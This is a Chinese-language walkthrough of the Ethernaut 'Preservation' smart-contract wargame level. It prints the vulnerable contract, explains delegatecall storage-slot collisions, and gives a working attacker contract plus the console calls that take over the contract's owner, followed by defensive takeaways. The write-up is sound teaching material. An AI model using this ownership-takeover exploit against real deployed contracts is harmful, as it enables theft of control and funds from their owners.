(https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F)
這一關的目標回到取得合約的所有權,因此我們可以想像應該有一個function會有類似owner=player這樣的執行句,同時這個函數應該有某些條件才能執行,來找找看題目的合約是怎麼寫的吧。
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
結果發現,完全沒有這樣的地方!,owner=msg.sender只出現在constructor()! 這一題頗有難度,我們在level 6時看過delegatecall,那時對delegate的理解就是它能用B合約的函數來執行A合約的變數,但今天我們要更深入一點的來看delegatecall,關於使用delegatecall時到底怎麼使用A、B合約的變數的細節。也是這一題破題的關鍵喔。先上一張圖:
請觀察關於變數的宣告,及圖中右下角儲存的方式,A合約宣告變數foo,B合約宣告變數Bar,但因為兩者都在slot 0的儲存空間,所以在B合約設定Bar(slot 0)的值(在A合約使用delegatecall時)會直接帶入A合約的Slot 0,而不管變數名稱是否一樣! 也就是說,程式看的是Slot的position,在同一合約內用變數名來判斷是使用哪個Slot,但在delegatecall的情境下,是用Slot postion來做儲存而非用變數名來做判斷,因此如圖中,A合約雖然變數名稱叫做foo,B 合約變數名稱叫做bar,但因為兩者的位置都是slot 0,因此在B合約對於bar設定的值,就會設定在A合約的slot 0,也就是foo的值。
花了一些時間想通了上述這個程式的邏輯後,回來看關卡的合約內容,我們可以藉著呼叫一次setFirstTime(time)來設定slot 0 = time,而preservation合約中的slot 0 是address public timeZone1Library,也就是setFirstTime()函數中來進行呼叫delegatecall(timeZone1Library.delegatecall)的位址,若我們輸入的time不是 time而是我們自己寫的一個合約位址呢?這樣當我們再次呼叫setFristTime時,它就會執行我們合約中的setTime()函數 (這邊在自己寫的合約中一定要用setTime(uint)函數,因為preservation合約中的這一行: bytes4 constant setTimeSignature = bytes4(keccak256(“setTime(uint256)”),delegatecall使用setTimeSignature來呼叫setTime(uint256))
到此,我們解了一半,我們接下來寫一個上面所說的自己的合約,並包含setTime()函數,並在此函數中讓第三個變數(slot 2) = player的錢包位址或 tx.origin (須注意將uint轉成 unit160再轉成address後存入slot 2)。另外可以寫一隻函數來方便我們知道合約位址轉成uint的樣子。
pragma solidity ^0.8.0;
contract hackPreservation{
address not_important_one;
address not_important_two;
address owner;
//這隻function只是輔助取得contract的address的uint長相
function showAddress() view public returns(uint retVau){
return uint(uint160(address(this)));
}
function setTime(uint _time) public {
owner = tx.origin;
//owner = address(uint160(_time));
}
}
最後就是回console去呼叫並執行囉:
await contract.owner(); //目前還不是你的錢包address
await contract.setFirstTime("<showAddress()取得的address>"); //將我們自己寫的合約的address植入,timeZone1Library變成我們的合約address
await contract.setFirstTime("<任意uint>"); //執行我們合約的setTime()
await contract.owner(); //此時發現owner已經變成自己的錢包位址了!
過關!這一關是不是真的很有駭客的感覺呢 ?
*Takeaway:
- delegatecall的威力強大,但要小心使用。尤其要了解它是用slot位置來做儲存的mapping這樣的機制。
- 另外,Ethernaut也建議可以使用library keyward來建立呼叫的函示庫以避免此題的情況。
- 事實上這一題在原始題目中就是藏著bug的,如果第一次呼叫時正常的輸入setFirstTime(time)的time,則第二次呼叫setFirstTime時也會出錯,應該設下僅能呼叫一次的限制。